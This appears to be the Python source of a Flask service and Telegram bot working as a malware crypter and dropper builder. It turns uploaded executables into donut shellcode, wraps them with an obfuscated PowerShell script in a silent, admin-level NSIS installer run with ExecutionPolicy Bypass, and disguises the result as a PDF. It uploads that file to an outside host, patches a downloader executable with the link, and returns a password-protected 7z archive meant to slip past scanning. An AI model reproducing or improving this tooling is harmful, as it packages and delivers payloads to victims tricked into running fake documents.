File size: 15,776 Bytes
017ade8
 
 
 
 
c2b5c1a
017ade8
 
 
 
bdb101e
 
edba52b
67295cd
 
017ade8
 
749898e
017ade8
edba52b
 
f1cd1b2
 
017ade8
67295cd
 
017ade8
 
 
080d9c7
c2b5c1a
080d9c7
017ade8
 
1e06564
1935f57
 
 
fdd6b99
1e06564
 
017ade8
a3dfa20
d6ebe0b
a3dfa20
 
 
017ade8
 
7307ab2
d6ebe0b
1935f57
a3dfa20
 
 
017ade8
 
 
 
 
 
 
 
d6ebe0b
017ade8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9236e3e
017ade8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
d6ebe0b
749898e
 
 
d6ebe0b
749898e
 
 
 
 
d6ebe0b
749898e
9489543
749898e
 
 
 
 
017ade8
749898e
 
 
017ade8
749898e
 
017ade8
749898e
 
 
 
d6ebe0b
749898e
 
 
 
 
 
 
 
 
 
 
d6ebe0b
749898e
 
 
 
 
 
 
 
 
 
d6ebe0b
749898e
 
 
d6ebe0b
749898e
 
 
d6ebe0b
749898e
 
 
 
 
017ade8
749898e
017ade8
67295cd
bdb101e
017ade8
 
d6ebe0b
017ade8
 
 
 
 
 
 
 
 
 
 
 
d6ebe0b
017ade8
 
d6ebe0b
9236e3e
 
 
d6ebe0b
9236e3e
 
017ade8
fdd6b99
 
017ade8
d6ebe0b
017ade8
b53638f
d6ebe0b
a3dfa20
 
b53638f
d6ebe0b
017ade8
 
 
d6ebe0b
017ade8
 
 
d6ebe0b
017ade8
 
d6ebe0b
749898e
 
 
 
 
d6ebe0b
749898e
 
 
9489543
749898e
 
 
 
 
080d9c7
 
 
d3dc2dd
080d9c7
 
 
d3dc2dd
c2b5c1a
 
 
017ade8
 
 
 
 
d6ebe0b
017ade8
67295cd
 
c2b5c1a
 
 
 
67295cd
bdb101e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
67295cd
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
import os
import subprocess
import random
import string
from datetime import datetime
from flask import Flask, request, jsonify, send_file, current_app
import shutil
import tempfile
import requests
import json
from telegram import Update
from telegram.ext import ContextTypes, ConversationHandler

app = Flask(__name__)

BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
PE_FOLDER = os.path.join(BASE_DIR, "pe")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
NSIS_COMPILER = "makensis"  # Ensure NSIS is installed on your Linux system
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def generate_random_string(length=8):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def generate_random_password(length=12):
    return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))

def obfuscate_powershell_script(ps1_path):
    try:
        cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
        current_app.logger.info(f"Running obfuscation command: {cmd}")
        current_app.logger.info(f"Input PowerShell script path: {ps1_path}")

        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
        process.stdin.write(f"{ps1_path}\n")
        process.stdin.flush()
        stdout, stderr = process.communicate()

        # Log the stdout and stderr for debugging
        current_app.logger.info(f"Obfuscation script stdout: {stdout}")
        current_app.logger.error(f"Obfuscation script stderr: {stderr}")

        if process.returncode != 0:
            raise Exception(f"Error obfuscating PowerShell script: {stderr}")
        
        # Check if the obfuscated file was created
        obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
        if not os.path.exists(obfuscated_file):
            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")

        return obfuscated_file
    except Exception as e:
        raise Exception(f"Obfuscation failed: {str(e)}")

def generate_nsi_script(folder_path, bin_file, ps1_file):
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")

    # NSIS script template
    NSIS_SCRIPT_TEMPLATE = r"""
    ; NeuraScope Insight Installer Script
    !include "MUI2.nsh"
    !include "LogicLib.nsh"
    ; Basic definitions
    Name "ProductName"
    OutFile "{installer_output}"
    InstallDir "$WINDIR\..\ProgramData\Installer"
    RequestExecutionLevel admin
    SetCompressor /SOLID lzma
    SetCompressorDictSize 96
    SetDatablockOptimize ON
    ; Interface settings
    !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
    !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
    ; Pages
    !insertmacro MUI_PAGE_WELCOME
    !insertmacro MUI_PAGE_INSTFILES
    !insertmacro MUI_LANGUAGE "English"
    ; Basic Version Information
    VIProductVersion "1.0.0.0"
    VIAddVersionKey "ProductName" "ProductName"
    VIAddVersionKey "CompanyName" "CompanyName"
    VIAddVersionKey "LegalCopyright" "LegalCopyright"
    VIAddVersionKey "FileVersion" "1.0.0.0"
    VIAddVersionKey "FileDescription" "FileDescription"
    ShowInstDetails hide
    AutoCloseWindow true
    Section "MainSection" SEC01
        SetDetailsPrint none
        SetOutPath "$WINDIR\..\ProgramData\Installer"
        File "{bin_file}"
        File "{ps1_file}"
        ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
        SetAutoClose true
    SectionEnd
    """
    
    script_content = NSIS_SCRIPT_TEMPLATE.format(
        installer_output=installer_output,
        bin_file=bin_file,
        ps1_file=ps1_file,
    )
    
    nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
    with open(nsi_file_path, 'w') as file:
        file.write(script_content)
    
    return nsi_file_path, installer_output

def compile_nsi_script(nsi_file_path):
    try:
        compile_cmd = [NSIS_COMPILER, nsi_file_path]
        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
        if compile_result.returncode != 0:
            raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
        return compile_result
    except subprocess.CalledProcessError as e:
        raise Exception(f"Compilation failed: {str(e)}")
    except Exception as e:
        raise Exception(f"Unexpected error during compilation: {str(e)}")

def upload_file_to_server(file_path):
    try:
        # Rename the .exe file to .pdf
        renamed_file_path = file_path.replace('.exe', '.pdf')
        os.rename(file_path, renamed_file_path)
        
        # Upload the renamed file to the server
        with open(renamed_file_path, 'rb') as file:
            response = requests.post(UPLOAD_URL, files={'file': file})
        
        if response.status_code == 200:
            data = response.json()
            # Assuming the server returns a 'file_url' key with the file URL
            filename = os.path.basename(renamed_file_path)
            fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}'  # Fixed URL format
            return fixed_url
        else:
            raise Exception(f"Failed to upload file: {response.json()}")
    except Exception as e:
        raise Exception(f"Error during file upload: {str(e)}")

def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
    if len(new_url) > len(old_url):
        raise ValueError("New URL must not be longer than the old URL.")

    new_url_padded = new_url.ljust(len(old_url), '\x00')
    new_string_padded = new_string.ljust(len(old_string), '\x00')

    try:
        with open(file_path, 'rb') as exe_file:
            data = exe_file.read()

        # Try different encodings of the old URL
        encodings = ['utf-8', 'ascii', 'utf-16le']
        url_found = False
        for encoding in encodings:
            old_url_bytes = old_url.encode(encoding)
            if old_url_bytes in data:
                print(f"URL found with encoding: {encoding}")
                url_found = True
                break
        if not url_found:
            raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
        
        # Try different encodings for the old string
        string_found = False
        for encoding in encodings:
            old_string_bytes = old_string.encode(encoding)
            if old_string_bytes in data:
                print(f"String found with encoding: {encoding}")
                string_found = True
                break
        if not string_found:
            raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")

        # Replace the old URL with the new URL
        new_url_bytes = new_url_padded.encode(encoding)
        modified_data = data.replace(old_url_bytes, new_url_bytes, 1)

        # Replace the old string with the new string
        new_string_bytes = new_string_padded.encode(encoding)
        modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)

        # Save the modified executable with a random name
        modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
        with open(modified_file_path, 'wb') as modified_file:
            modified_file.write(modified_data)

        return modified_file_path
    except Exception as e:
        raise Exception(f"An error occurred: {e}")

@app.route('/process', methods=['POST'])
def process_request(request):
    temp_dir = None  # Initialize temp_dir to be used in the finally block
    try:
        # Save the incoming binary file
        if 'file' not in request.files:
            raise ValueError("No file part in the request")
        
        file = request.files['file']
        if file.filename == '':
            raise ValueError("No selected file")

        random_folder = generate_random_string()
        temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
        bin_path = os.path.join(temp_dir, file.filename)
        file.save(bin_path)

        # Extract the file name from the full binary path
        bin_file_name = os.path.basename(bin_path)

        # Read the PowerShell content from the local file
        with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
            ps1_content = ps1_file.read()

        # Replace the placeholder with the actual binary file name
        ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)

        ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
        with open(ps1_path, 'w') as ps1_file:
            ps1_file.write(ps1_content)

        # Obfuscate the PowerShell script
        obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)

        # Check if the obfuscated file exists before renaming
        if not os.path.exists(obfuscated_ps1_path):
            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")

        # Rename the obfuscated file to Verification.ps1
        verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
        os.rename(obfuscated_ps1_path, verification_ps1_path)

        # Generate and compile the NSIS script
        nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
        compile_nsi_script(nsi_file_path)

        # Upload the resulting EXE file (renamed to PDF) to the server
        download_url = upload_file_to_server(installer_output)

        # Print the new string and new URL for debugging
        new_string = os.path.basename(download_url)
        new_url = download_url
        print(f"new_string: {new_string}")
        print(f"new_url: {new_url}")

        # Replace URL in PE executable
        pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
        modified_pe_path = replace_url_in_exe(
            file_path=pe_exe_path,
            old_url="https://ambelo-benjamin.hf.space/uploads/setup_20250102_062242.pdf",
            new_url=download_url,
            old_string="setup_20250102_062243.pdf",
            new_string=os.path.basename(download_url)
        )

        # Create a .7z archive with ultra compression and LZMA2, and encrypt it with a password
        archive_name = generate_random_string() + ".7z"
        archive_path = os.path.join(temp_dir, archive_name)
        password = generate_random_password()
        subprocess.run([
            "7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
        ], check=True)

        # Return the download URL and password in the JSON response
        download_link = f"/download/{archive_name}"
        return jsonify({"download_link": download_link, "password": password})

    except Exception as e:
        current_app.logger.error(f"An error occurred: {str(e)}")
        return jsonify({"error": str(e)}), 500
    finally:
        # Clean up temporary directories and files
        if temp_dir and os.path.exists(temp_dir):
            shutil.rmtree(temp_dir, ignore_errors=True)

@app.route('/download/<filename>')
def download_file(filename):
    file_path = os.path.join(UPLOAD_FOLDER, filename)
    return send_file(file_path, as_attachment=True)

async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
    """Handle file confirmation"""
    query = update.callback_query
    await query.answer()

    file_path = context.user_data.get('file_path')

    if query.data == "yes":
        output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
        output_path = os.path.join("converted", output_file)
        try:
            # Convert the .exe file to a .bin file
            shellcode = donut.create(file=file_path, output=output_path)
            
            # Encrypt the .bin file
            encrypted_file_path = encrypt_bin_file(output_path)
            
            # Show animated text while processing
            await query.edit_message_text(
                "πŸ”„ Processing your file...\n"
                "πŸŸ©πŸŸ©πŸŸ©β¬›β¬›β¬›β¬›β¬›β¬›β¬› (30%)"
            )

            # Send the encrypted .bin file to the API
            with open(encrypted_file_path, 'rb') as bin_file:
                response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
            
            if response.status_code == 200:
                # Parse the response to get the .7z file URL and password
                response_data = response.json()
                archive_url = response_data.get("download_link")
                password = response_data.get("password")

                if not archive_url or not password:
                    await query.edit_message_text("❌ Invalid response from the server. Missing archive URL or password.")
                    context.user_data['processing'] = False
                    return ConversationHandler.END

                # Download the .7z file from the archive_url
                archive_response = requests.get(archive_url)
                if archive_response.status_code != 200:
                    await query.edit_message_text("❌ Failed to download the .7z file from the server.")
                    context.user_data['processing'] = False
                    return ConversationHandler.END

                # Save the .7z file locally
                archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
                archive_filepath = os.path.join("converted", archive_filename)
                with open(archive_filepath, 'wb') as archive_file:
                    archive_file.write(archive_response.content)

                await query.edit_message_text(
                    "πŸ”„ Processing your file...\n"
                    "🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩 (100%)"
                )

                # Send the .7z file and password to the user
                await query.message.reply_document(
                    document=open(archive_filepath, 'rb'),
                    filename=archive_filename,
                    caption=f"βœ… File processed successfully! Here is your encrypted file.\n\nπŸ”‘ Password: `{password}`"
                )

                # Clean up the downloaded .7z file
                os.remove(archive_filepath)

                # Mark process as finished
                context.user_data['processing'] = False
                return ConversationHandler.END
            else:
                await query.edit_message_text("❌ Error occurred while processing the file.")
                context.user_data['processing'] = False
                return ConversationHandler.END

        except Exception as e:
            print(f"Error in confirm_file: {e}")
            await query.edit_message_text(text=f"❌ Error occurred: {e}")
            context.user_data['processing'] = False
            if os.path.exists(file_path):
                os.remove(file_path)
            return ConversationHandler.END
    else:
        await query.edit_message_text("❌ Operation cancelled. Use /crypt to try again.")
        context.user_data['processing'] = False
        if os.path.exists(file_path):
            os.remove(file_path)
        return ConversationHandler.END

if __name__ == '__main__':
    app.run(debug=True)